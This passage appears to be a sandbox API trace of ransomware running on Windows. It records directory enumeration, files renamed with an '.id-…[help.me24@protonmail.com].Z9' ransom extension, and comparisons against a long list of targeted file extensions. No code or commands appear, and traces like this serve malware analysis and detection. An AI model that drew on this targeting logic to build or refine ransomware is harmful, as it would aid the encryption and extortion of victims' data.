	[0161.471] FindNextFileW (in: hFindFile=0x76e6e8, lpFindFileData=0x2faf584 | out: lpFindFileData=0x2faf584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0b59a78, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x71169cb5, ftLastWriteTime.dwHighDateTime=0x1d2fa08, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="VGX", cAlternateFileName="")) returned 1
	[0161.471] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4054fa0 | out: hHeap=0x710000) returned 1
	[0161.471] FindNextFileW (in: hFindFile=0x76e6e8, lpFindFileData=0x2faf584 | out: lpFindFileData=0x2faf584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x49ecb94e, ftCreationTime.dwHighDateTime=0x1d327e9, ftLastAccessTime.dwLowDateTime=0x4ae972f5, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x4ae972f5, ftLastWriteTime.dwHighDateTime=0x1d327e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="VSTO", cAlternateFileName="")) returned 1
	[0161.473] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4004f78 | out: hHeap=0x710000) returned 1
	[0161.473] FindNextFileW (in: hFindFile=0x76e668, lpFindFileData=0x2faf08c | out: lpFindFileData=0x2faf08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x41ae04c0, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x41ae04c0, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x41b2c83c, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x18986, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="VSTOInstaller.exe.id-B4197730.[help.me24@protonmail.com].Z9", cAlternateFileName="VSTOIN~1.Z9")) returned 1
	[0161.474] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4064fa8 | out: hHeap=0x710000) returned 1
	[0161.474] FindNextFileW (in: hFindFile=0x76eb68, lpFindFileData=0x2faf308 | out: lpFindFileData=0x2faf308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x41b2c83c, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x41b2c83c, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x423124e9, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x29178, dwReserved0=0x0, dwReserved1=0x0, cFileName="vstoee.dll.id-B4197730.[help.me24@protonmail.com].Z9", cAlternateFileName="VSTOEE~1.Z9")) returned 1
	[0161.474] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4054fa0 | out: hHeap=0x710000) returned 1
	[0161.474] FindNextFileW (in: hFindFile=0x76e6e8, lpFindFileData=0x2faf584 | out: lpFindFileData=0x2faf584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x49ecb94e, ftCreationTime.dwHighDateTime=0x1d327e9, ftLastAccessTime.dwLowDateTime=0x4ae972f5, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x4ae972f5, ftLastWriteTime.dwHighDateTime=0x1d327e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="VSTO", cAlternateFileName="")) returned 0
	[0161.474] FindClose (in: hFindFile=0x76e6e8 | out: hFindFile=0x76e6e8) returned 1
	[0161.474] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4044f98 | out: hHeap=0x710000) returned 1
	[0161.475] FindNextFileW (in: hFindFile=0x76e6a8, lpFindFileData=0x2faf800 | out: lpFindFileData=0x2faf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0c11068, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a412e70, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Services", cAlternateFileName="")) returned 1
	[0161.476] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4004f78 | out: hHeap=0x710000) returned 1
	[0161.476] FindNextFileW (in: hFindFile=0x76e6a8, lpFindFileData=0x2faf800 | out: lpFindFileData=0x2faf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2ef16b10, ftCreationTime.dwHighDateTime=0x1d55010, ftLastAccessTime.dwLowDateTime=0x1aac8340, ftLastAccessTime.dwHighDateTime=0x1d5556c, ftLastWriteTime.dwLowDateTime=0x1aac8340, ftLastWriteTime.dwHighDateTime=0x1d5556c, nFileSizeHigh=0x0, nFileSizeLow=0x13200, dwReserved0=0x0, dwReserved1=0x0, cFileName="spcwin.exe", cAlternateFileName="")) returned 1
	[0161.476] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x38a0958 | out: hHeap=0x710000) returned 1
	[0161.476] FindNextFileW (in: hFindFile=0x76e668, lpFindFileData=0x2faf308 | out: lpFindFileData=0x2faf308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x43854cb5, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x43854cb5, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x43854cb5, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="msader15.dll", cAlternateFileName="")) returned 1
	[0161.477] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4014f80 | out: hHeap=0x710000) returned 1
	[0161.477] FindNextFileW (in: hFindFile=0x76e9a8, lpFindFileData=0x2faf584 | out: lpFindFileData=0x2faf584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96d5a533, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96d5a533, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96d5a533, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x8000, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="DirectDB.dll", cAlternateFileName="")) returned 1
	[0161.477] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4014f80 | out: hHeap=0x710000) returned 1
	[0161.477] FindNextFileW (in: hFindFile=0x76e9a8, lpFindFileData=0x2faf584 | out: lpFindFileData=0x2faf584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0d7f179, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b22f66e, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="msadc", cAlternateFileName="")) returned 1
	[0162.119] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x38a0958 | out: hHeap=0x710000) returned 1
	[0162.119] FindNextFileW (in: hFindFile=0x76e9e8, lpFindFileData=0x2faf308 | out: lpFindFileData=0x2faf308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x41da7e83, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x41da7e83, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x41da7e83, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xa9c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="msadce.dll", cAlternateFileName="")) returned 1
	[0162.276] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4014f80 | out: hHeap=0x710000) returned 1
	[0162.276] FindNextFileW (in: hFindFile=0x76e9a8, lpFindFileData=0x2faf584 | out: lpFindFileData=0x2faf584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0d8186d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b22f66e, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Ole DB", cAlternateFileName="OLEDB~1")) returned 1
	[0162.315] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x38a0958 | out: hHeap=0x710000) returned 1
	[0162.315] FindNextFileW (in: hFindFile=0x76e6e8, lpFindFileData=0x2faf308 | out: lpFindFileData=0x2faf308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x440870df, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x440870df, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x440870df, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x18600, dwReserved0=0x0, dwReserved1=0x0, cFileName="msdaosp.dll", cAlternateFileName="")) returned 1
	[0162.316] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4014f80 | out: hHeap=0x710000) returned 1
	[0162.316] FindNextFileW (in: hFindFile=0x76e9a8, lpFindFileData=0x2faf584 | out: lpFindFileData=0x2faf584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x440d35a9, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x440d35a9, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x440d35a9, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xd0a00, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="wab32.dll", cAlternateFileName="")) returned 1
	[0162.316] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4004f78 | out: hHeap=0x710000) returned 1
	[0162.567] FindNextFileW (in: hFindFile=0x76e6a8, lpFindFileData=0x2faf800 | out: lpFindFileData=0x2faf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0c5f95f, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b22f66e, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="System", cAlternateFileName="")) returned 0
	[0162.567] FindClose (in: hFindFile=0x76e6a8 | out: hFindFile=0x76e6a8) returned 1
	[0162.567] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4034f90 | out: hHeap=0x710000) returned 1
	[0162.572] FindNextFileW (in: hFindFile=0x76ed68, lpFindFileData=0x2fafa7c | out: lpFindFileData=0x2fafa7c*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x3788b3ca, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x3788b3ca, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x3788b3ca, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x19a, dwReserved0=0x0, dwReserved1=0x240000, cFileName="desktop.ini.id-B4197730.[help.me24@protonmail.com].Z9", cAlternateFileName="DESKTO~1.Z9")) returned 1
	[0162.576] lstrlenW (lpString="desktop.ini.id-B4197730.[help.me24@protonmail.com].Z9") returned 53
	[0162.576] lstrlenW (lpString=".1cd") returned 4
	[0162.576] lstrcmpiW (lpString1=".1cd", lpString2="].Z9") returned -1
	[0162.576] lstrlenW (lpString=".3ds") returned 4
	[0162.577] lstrcmpiW (lpString1=".3ds", lpString2="].Z9") returned -1
	[0162.577] lstrlenW (lpString=".3fr") returned 4
	[0162.577] lstrcmpiW (lpString1=".3fr", lpString2="].Z9") returned -1
	[0162.577] lstrlenW (lpString=".3g2") returned 4
	[0162.577] lstrcmpiW (lpString1=".3g2", lpString2="].Z9") returned -1
	[0162.577] lstrlenW (lpString=".3gp") returned 4
	[0162.577] lstrcmpiW (lpString1=".3gp", lpString2="].Z9") returned -1
	[0162.577] lstrlenW (lpString=".7z") returned 3
	[0162.577] lstrcmpiW (lpString1=".7z", lpString2=".Z9") returned -1
	[0162.604] lstrlenW (lpString=".accda") returned 6
	[0162.604] lstrcmpiW (lpString1=".accda", lpString2="om].Z9") returned -1
	[0162.604] lstrlenW (lpString=".accdb") returned 6
	[0162.605] lstrcmpiW (lpString1=".accdb", lpString2="om].Z9") returned -1
	[0162.605] lstrlenW (lpString=".accdc") returned 6
	[0162.605] lstrcmpiW (lpString1=".accdc", lpString2="om].Z9") returned -1
	[0162.605] lstrlenW (lpString=".accde") returned 6
	[0162.606] lstrcmpiW (lpString1=".accde", lpString2="om].Z9") returned -1
	[0162.606] lstrlenW (lpString=".accdt") returned 6
	[0162.606] lstrcmpiW (lpString1=".accdt", lpString2="om].Z9") returned -1
	[0162.606] lstrlenW (lpString=".accdw") returned 6
	[0162.607] lstrcmpiW (lpString1=".accdw", lpString2="om].Z9") returned -1
	[0162.607] lstrlenW (lpString=".adb") returned 4
	[0162.607] lstrcmpiW (lpString1=".adb", lpString2="].Z9") returned -1
	[0162.607] lstrlenW (lpString=".adp") returned 4
	[0162.607] lstrcmpiW (lpString1=".adp", lpString2="].Z9") returned -1
	[0162.607] lstrlenW (lpString=".ai") returned 3
	[0162.607] lstrcmpiW (lpString1=".ai", lpString2=".Z9") returned -1
	[0162.607] lstrlenW (lpString=".ai3") returned 4
	[0162.607] lstrcmpiW (lpString1=".ai3", lpString2="].Z9") returned -1
	[0162.608] lstrlenW (lpString=".ai4") returned 4
	[0162.608] lstrcmpiW (lpString1=".ai4", lpString2="].Z9") returned -1
	[0162.608] lstrlenW (lpString=".ai5") returned 4
	[0162.608] lstrcmpiW (lpString1=".ai5", lpString2="].Z9") returned -1
	[0162.608] lstrlenW (lpString=".ai6") returned 4
	[0162.608] lstrcmpiW (lpString1=".ai6", lpString2="].Z9") returned -1
	[0162.608] lstrlenW (lpString=".ai7") returned 4
	[0162.608] lstrcmpiW (lpString1=".ai7", lpString2="].Z9") returned -1
	[0162.608] lstrlenW (lpString=".ai8") returned 4
	[0162.608] lstrcmpiW (lpString1=".ai8", lpString2="].Z9") returned -1
	[0162.608] lstrlenW (lpString=".anim") returned 5
	[0162.608] lstrcmpiW (lpString1=".anim", lpString2="m].Z9") returned -1
	[0162.608] lstrlenW (lpString=".arw") returned 4
	[0162.608] lstrcmpiW (lpString1=".arw", lpString2="].Z9") returned -1
	[0162.608] lstrlenW (lpString=".as") returned 3
	[0162.608] lstrcmpiW (lpString1=".as", lpString2=".Z9") returned -1
	[0162.608] lstrlenW (lpString=".asa") returned 4
	[0162.608] lstrcmpiW (lpString1=".asa", lpString2="].Z9") returned -1
	[0162.608] lstrlenW (lpString=".asc") returned 4
	[0162.608] lstrcmpiW (lpString1=".asc", lpString2="].Z9") returned -1
	[0162.608] lstrlenW (lpString=".ascx") returned 5
	[0162.608] lstrcmpiW (lpString1=".ascx", lpString2="m].Z9") returned -1
	[0162.608] lstrlenW (lpString=".asm") returned 4
	[0162.608] lstrcmpiW (lpString1=".asm", lpString2="].Z9") returned -1
	[0162.608] lstrlenW (lpString=".asmx") returned 5
	[0162.608] lstrcmpiW (lpString1=".asmx", lpString2="m].Z9") returned -1
	[0162.608] lstrlenW (lpString=".asp") returned 4
	[0162.608] lstrcmpiW (lpString1=".asp", lpString2="].Z9") returned -1
	[0162.608] lstrlenW (lpString=".aspx") returned 5
	[0162.608] lstrcmpiW (lpString1=".aspx", lpString2="m].Z9") returned -1
	[0162.608] lstrlenW (lpString=".asr") returned 4
	[0162.608] lstrcmpiW (lpString1=".asr", lpString2="].Z9") returned -1
	[0162.608] lstrlenW (lpString=".asx") returned 4
	[0162.608] lstrcmpiW (lpString1=".asx", lpString2="].Z9") returned -1
	[0162.608] lstrlenW (lpString=".avi") returned 4
	[0162.608] lstrcmpiW (lpString1=".avi", lpString2="].Z9") returned -1
	[0162.609] lstrlenW (lpString=".avs") returned 4
	[0162.609] lstrcmpiW (lpString1=".avs", lpString2="].Z9") returned -1
	[0162.609] lstrlenW (lpString=".backup") returned 7
	[0162.609] lstrcmpiW (lpString1=".backup", lpString2="com].Z9") returned -1
	[0162.609] lstrlenW (lpString=".bak") returned 4
	[0162.609] lstrcmpiW (lpString1=".bak", lpString2="].Z9") returned -1
	[0162.609] lstrlenW (lpString=".bay") returned 4
	[0162.609] lstrcmpiW (lpString1=".bay", lpString2="].Z9") returned -1
	[0162.609] lstrlenW (lpString=".bd") returned 3
	[0162.609] lstrcmpiW (lpString1=".bd", lpString2=".Z9") returned -1
	[0162.609] lstrlenW (lpString=".bin") returned 4
	[0162.609] lstrcmpiW (lpString1=".bin", lpString2="].Z9") returned -1
	[0162.609] lstrlenW (lpString=".bmp") returned 4
	[0162.609] lstrcmpiW (lpString1=".bmp", lpString2="].Z9") returned -1
	[0162.609] lstrlenW (lpString=".bz2") returned 4
	[0162.609] lstrcmpiW (lpString1=".bz2", lpString2="].Z9") returned -1
	[0162.609] lstrlenW (lpString=".c") returned 2
	[0162.609] lstrcmpiW (lpString1=".c", lpString2="Z9") returned -1
	[0162.609] lstrlenW (lpString=".cdr") returned 4
	[0162.609] lstrcmpiW (lpString1=".cdr", lpString2="].Z9") returned -1
	[0162.609] lstrlenW (lpString=".cer") returned 4
	[0162.609] lstrcmpiW (lpString1=".cer", lpString2="].Z9") returned -1
	[0162.609] lstrlenW (lpString=".cf") returned 3
	[0162.609] lstrcmpiW (lpString1=".cf", lpString2=".Z9") returned -1
	[0162.609] lstrlenW (lpString=".cfc") returned 4
	[0162.609] lstrcmpiW (lpString1=".cfc", lpString2="].Z9") returned -1
	[0162.609] lstrlenW (lpString=".cfm") returned 4
	[0162.609] lstrcmpiW (lpString1=".cfm", lpString2="].Z9") returned -1
	[0162.609] lstrlenW (lpString=".cfml") returned 5
	[0162.609] lstrcmpiW (lpString1=".cfml", lpString2="m].Z9") returned -1
	[0162.609] lstrlenW (lpString=".cfu") returned 4
	[0162.609] lstrcmpiW (lpString1=".cfu", lpString2="].Z9") returned -1
	[0162.610] lstrlenW (lpString=".chm") returned 4
	[0162.610] lstrcmpiW (lpString1=".chm", lpString2="].Z9") returned -1
	[0162.610] lstrlenW (lpString=".cin") returned 4
	[0162.610] lstrcmpiW (lpString1=".cin", lpString2="].Z9") returned -1
	[0162.610] lstrlenW (lpString=".class") returned 6
	[0162.610] lstrcmpiW (lpString1=".class", lpString2="om].Z9") returned -1
	[0162.610] lstrlenW (lpString=".clx") returned 4
	[0162.610] lstrcmpiW (lpString1=".clx", lpString2="].Z9") returned -1
	[0162.610] lstrlenW (lpString=".config") returned 7
	[0162.610] lstrcmpiW (lpString1=".config", lpString2="com].Z9") returned -1
	[0162.610] lstrlenW (lpString=".cpp") returned 4
	[0162.610] lstrcmpiW (lpString1=".cpp", lpString2="].Z9") returned -1
	[0162.610] lstrlenW (lpString=".cr2") returned 4
	[0162.610] lstrcmpiW (lpString1=".cr2", lpString2="].Z9") returned -1
	[0162.610] lstrlenW (lpString=".crt") returned 4
	[0162.610] lstrcmpiW (lpString1=".crt", lpString2="].Z9") returned -1
	[0162.610] lstrlenW (lpString=".crw") returned 4
	[0162.610] lstrcmpiW (lpString1=".crw", lpString2="].Z9") returned -1
	[0162.610] lstrlenW (lpString=".cs") returned 3
	[0162.610] lstrcmpiW (lpString1=".cs", lpString2=".Z9") returned -1
	[0162.610] lstrlenW (lpString=".css") returned 4
	[0162.610] lstrcmpiW (lpString1=".css", lpString2="].Z9") returned -1
	[0162.610] lstrlenW (lpString=".csv") returned 4
	[0162.610] lstrcmpiW (lpString1=".csv", lpString2="].Z9") returned -1
	[0162.610] lstrlenW (lpString=".cub") returned 4
	[0162.610] lstrcmpiW (lpString1=".cub", lpString2="].Z9") returned -1
	[0162.610] lstrlenW (lpString=".dae") returned 4
	[0162.611] lstrcmpiW (lpString1=".dae", lpString2="].Z9") returned -1
	[0162.611] lstrlenW (lpString=".dat") returned 4
	[0162.611] lstrcmpiW (lpString1=".dat", lpString2="].Z9") returned -1
	[0162.611] lstrlenW (lpString=".db") returned 3
	[0162.611] lstrcmpiW (lpString1=".db", lpString2=".Z9") returned -1
	[0162.611] lstrlenW (lpString=".dbf") returned 4
	[0162.611] lstrcmpiW (lpString1=".dbf", lpString2="].Z9") returned -1
	[0162.611] lstrlenW (lpString=".dbx") returned 4
	[0162.611] lstrcmpiW (lpString1=".dbx", lpString2="].Z9") returned -1
	[0162.611] lstrlenW (lpString=".dc3") returned 4
	[0162.611] lstrcmpiW (lpString1=".dc3", lpString2="].Z9") returned -1
	[0162.611] lstrlenW (lpString=".dcm") returned 4
	[0162.611] lstrcmpiW (lpString1=".dcm", lpString2="].Z9") returned -1
	[0162.611] lstrlenW (lpString=".dcr") returned 4
	[0162.611] lstrcmpiW (lpString1=".dcr", lpString2="].Z9") returned -1
	[0162.611] lstrlenW (lpString=".der") returned 4
	[0162.611] lstrcmpiW (lpString1=".der", lpString2="].Z9") returned -1
	[0162.611] lstrlenW (lpString=".dib") returned 4
	[0162.611] lstrcmpiW (lpString1=".dib", lpString2="].Z9") returned -1
	[0162.611] lstrlenW (lpString=".dic") returned 4
	[0162.611] lstrcmpiW (lpString1=".dic", lpString2="].Z9") returned -1
	[0162.611] lstrlenW (lpString=".dif") returned 4
	[0162.611] lstrcmpiW (lpString1=".dif", lpString2="].Z9") returned -1
	[0162.611] lstrlenW (lpString=".divx") returned 5
	[0162.611] lstrcmpiW (lpString1=".divx", lpString2="m].Z9") returned -1
	[0162.611] lstrlenW (lpString=".djvu") returned 5
	[0162.611] lstrcmpiW (lpString1=".djvu", lpString2="m].Z9") returned -1
	[0162.612] lstrlenW (lpString=".dng") returned 4
	[0162.612] lstrcmpiW (lpString1=".dng", lpString2="].Z9") returned -1
	[0162.612] lstrlenW (lpString=".doc") returned 4
	[0162.612] lstrcmpiW (lpString1=".doc", lpString2="].Z9") returned -1
	[0162.612] lstrlenW (lpString=".docm") returned 5
	[0162.612] lstrcmpiW (lpString1=".docm", lpString2="m].Z9") returned -1
	[0162.612] lstrlenW (lpString=".docx") returned 5
	[0162.612] lstrcmpiW (lpString1=".docx", lpString2="m].Z9") returned -1
	[0162.612] lstrlenW (lpString=".dot") returned 4
	[0162.612] lstrcmpiW (lpString1=".dot", lpString2="].Z9") returned -1
	[0162.612] lstrlenW (lpString=".dotm") returned 5
	[0162.612] lstrcmpiW (lpString1=".dotm", lpString2="m].Z9") returned -1
	[0162.612] lstrlenW (lpString=".dotx") returned 5
	[0162.612] lstrcmpiW (lpString1=".dotx", lpString2="m].Z9") returned -1
	[0162.612] lstrlenW (lpString=".dpx") returned 4
	[0162.612] lstrcmpiW (lpString1=".dpx", lpString2="].Z9") returned -1
	[0162.612] lstrlenW (lpString=".dqy") returned 4
	[0162.612] lstrcmpiW (lpString1=".dqy", lpString2="].Z9") returned -1
	[0162.612] lstrlenW (lpString=".dsn") returned 4
	[0162.612] lstrcmpiW (lpString1=".dsn", lpString2="].Z9") returned -1
	[0162.612] lstrlenW (lpString=".dt") returned 3
	[0162.612] lstrcmpiW (lpString1=".dt", lpString2=".Z9") returned -1
	[0162.612] lstrlenW (lpString=".dtd") returned 4
	[0162.612] lstrcmpiW (lpString1=".dtd", lpString2="].Z9") returned -1
	[0162.613] lstrlenW (lpString=".dwg") returned 4
	[0162.613] lstrcmpiW (lpString1=".dwg", lpString2="].Z9") returned -1
	[0162.613] lstrlenW (lpString=".dwt") returned 4
	[0162.613] lstrcmpiW (lpString1=".dwt", lpString2="].Z9") returned -1
	[0162.613] lstrlenW (lpString=".dx") returned 3
	[0162.613] lstrcmpiW (lpString1=".dx", lpString2=".Z9") returned -1
	[0162.613] lstrlenW (lpString=".dxf") returned 4
	[0162.613] lstrcmpiW (lpString1=".dxf", lpString2="].Z9") returned -1
	[0162.613] lstrlenW (lpString=".edml") returned 5
	[0162.613] lstrcmpiW (lpString1=".edml", lpString2="m].Z9") returned -1
	[0162.613] lstrlenW (lpString=".efd") returned 4
	[0162.613] lstrcmpiW (lpString1=".efd", lpString2="].Z9") returned -1
	[0162.613] lstrlenW (lpString=".elf") returned 4
	[0162.613] lstrcmpiW (lpString1=".elf", lpString2="].Z9") returned -1
	[0162.613] lstrlenW (lpString=".emf") returned 4
	[0162.613] lstrcmpiW (lpString1=".emf", lpString2="].Z9") returned -1
	[0162.614] lstrlenW (lpString=".emz") returned 4
	[0162.614] lstrcmpiW (lpString1=".emz", lpString2="].Z9") returned -1
	[0162.614] lstrlenW (lpString=".epf") returned 4
	[0162.614] lstrcmpiW (lpString1=".epf", lpString2="].Z9") returned -1
	[0162.614] lstrlenW (lpString=".eps") returned 4
	[0162.614] lstrcmpiW (lpString1=".eps", lpString2="].Z9") returned -1
	[0162.614] lstrlenW (lpString=".epsf") returned 5
	[0162.614] lstrcmpiW (lpString1=".epsf", lpString2="m].Z9") returned -1
	[0162.614] lstrlenW (lpString=".epsp") returned 5
	[0162.614] lstrcmpiW (lpString1=".epsp", lpString2="m].Z9") returned -1
	[0162.614] lstrlenW (lpString=".erf") returned 4
	[0162.614] lstrcmpiW (lpString1=".erf", lpString2="].Z9") returned -1
	[0162.614] lstrlenW (lpString=".exr") returned 4
	[0162.614] lstrcmpiW (lpString1=".exr", lpString2="].Z9") returned -1
	[0162.614] lstrlenW (lpString=".f4v") returned 4
	[0162.614] lstrcmpiW (lpString1=".f4v", lpString2="].Z9") returned -1
	[0162.614] lstrlenW (lpString=".fido") returned 5
	[0162.614] lstrcmpiW (lpString1=".fido", lpString2="m].Z9") returned -1
	[0162.614] lstrlenW (lpString=".flm") returned 4
	[0162.614] lstrcmpiW (lpString1=".flm", lpString2="].Z9") returned -1
	[0162.614] lstrlenW (lpString=".flv") returned 4
	[0162.614] lstrcmpiW (lpString1=".flv", lpString2="].Z9") returned -1
	[0162.614] lstrlenW (lpString=".frm") returned 4
	[0162.614] lstrcmpiW (lpString1=".frm", lpString2="].Z9") returned -1
	[0162.614] lstrlenW (lpString=".fxg") returned 4
	[0162.614] lstrcmpiW (lpString1=".fxg", lpString2="].Z9") returned -1
	[0162.614] lstrlenW (lpString=".geo") returned 4
	[0162.614] lstrcmpiW (lpString1=".geo", lpString2="].Z9") returned -1
	[0162.614] lstrlenW (lpString=".gif") returned 4
	[0162.614] lstrcmpiW (lpString1=".gif", lpString2="].Z9") returned -1
	[0162.614] lstrlenW (lpString=".grs") returned 4
	[0162.614] lstrcmpiW (lpString1=".grs", lpString2="].Z9") returned -1
	[0162.615] lstrlenW (lpString=".gz") returned 3
	[0162.615] lstrcmpiW (lpString1=".gz", lpString2=".Z9") returned -1
	[0162.615] lstrlenW (lpString=".h") returned 2
	[0162.615] lstrcmpiW (lpString1=".h", lpString2="Z9") returned -1
	[0162.615] lstrlenW (lpString=".hdr") returned 4
	[0162.615] lstrcmpiW (lpString1=".hdr", lpString2="].Z9") returned -1
	[0162.615] lstrlenW (lpString=".hpp") returned 4
	[0162.615] lstrcmpiW (lpString1=".hpp", lpString2="].Z9") returned -1
	[0162.615] lstrlenW (lpString=".hta") returned 4
	[0162.615] lstrcmpiW (lpString1=".hta", lpString2="].Z9") returned -1
	[0162.615] lstrlenW (lpString=".htc") returned 4
	[0162.615] lstrcmpiW (lpString1=".htc", lpString2="].Z9") returned -1
	[0162.615] lstrlenW (lpString=".htm") returned 4
	[0162.615] lstrcmpiW (lpString1=".htm", lpString2="].Z9") returned -1
	[0162.615] lstrlenW (lpString=".html") returned 5
	[0162.615] lstrcmpiW (lpString1=".html", lpString2="m].Z9") returned -1
	[0162.615] lstrlenW (lpString=".icb") returned 4
	[0162.615] lstrcmpiW (lpString1=".icb", lpString2="].Z9") returned -1
	[0162.615] lstrlenW (lpString=".ics") returned 4
	[0162.615] lstrcmpiW (lpString1=".ics", lpString2="].Z9") returned -1
	[0162.615] lstrlenW (lpString=".iff") returned 4
	[0162.615] lstrcmpiW (lpString1=".iff", lpString2="].Z9") returned -1
	[0162.615] lstrlenW (lpString=".inc") returned 4
	[0162.615] lstrcmpiW (lpString1=".inc", lpString2="].Z9") returned -1
	[0162.615] lstrlenW (lpString=".indd") returned 5
	[0162.615] lstrcmpiW (lpString1=".indd", lpString2="m].Z9") returned -1
	[0162.615] lstrlenW (lpString=".ini") returned 4
	[0162.615] lstrcmpiW (lpString1=".ini", lpString2="].Z9") returned -1
	[0162.615] lstrlenW (lpString=".iqy") returned 4
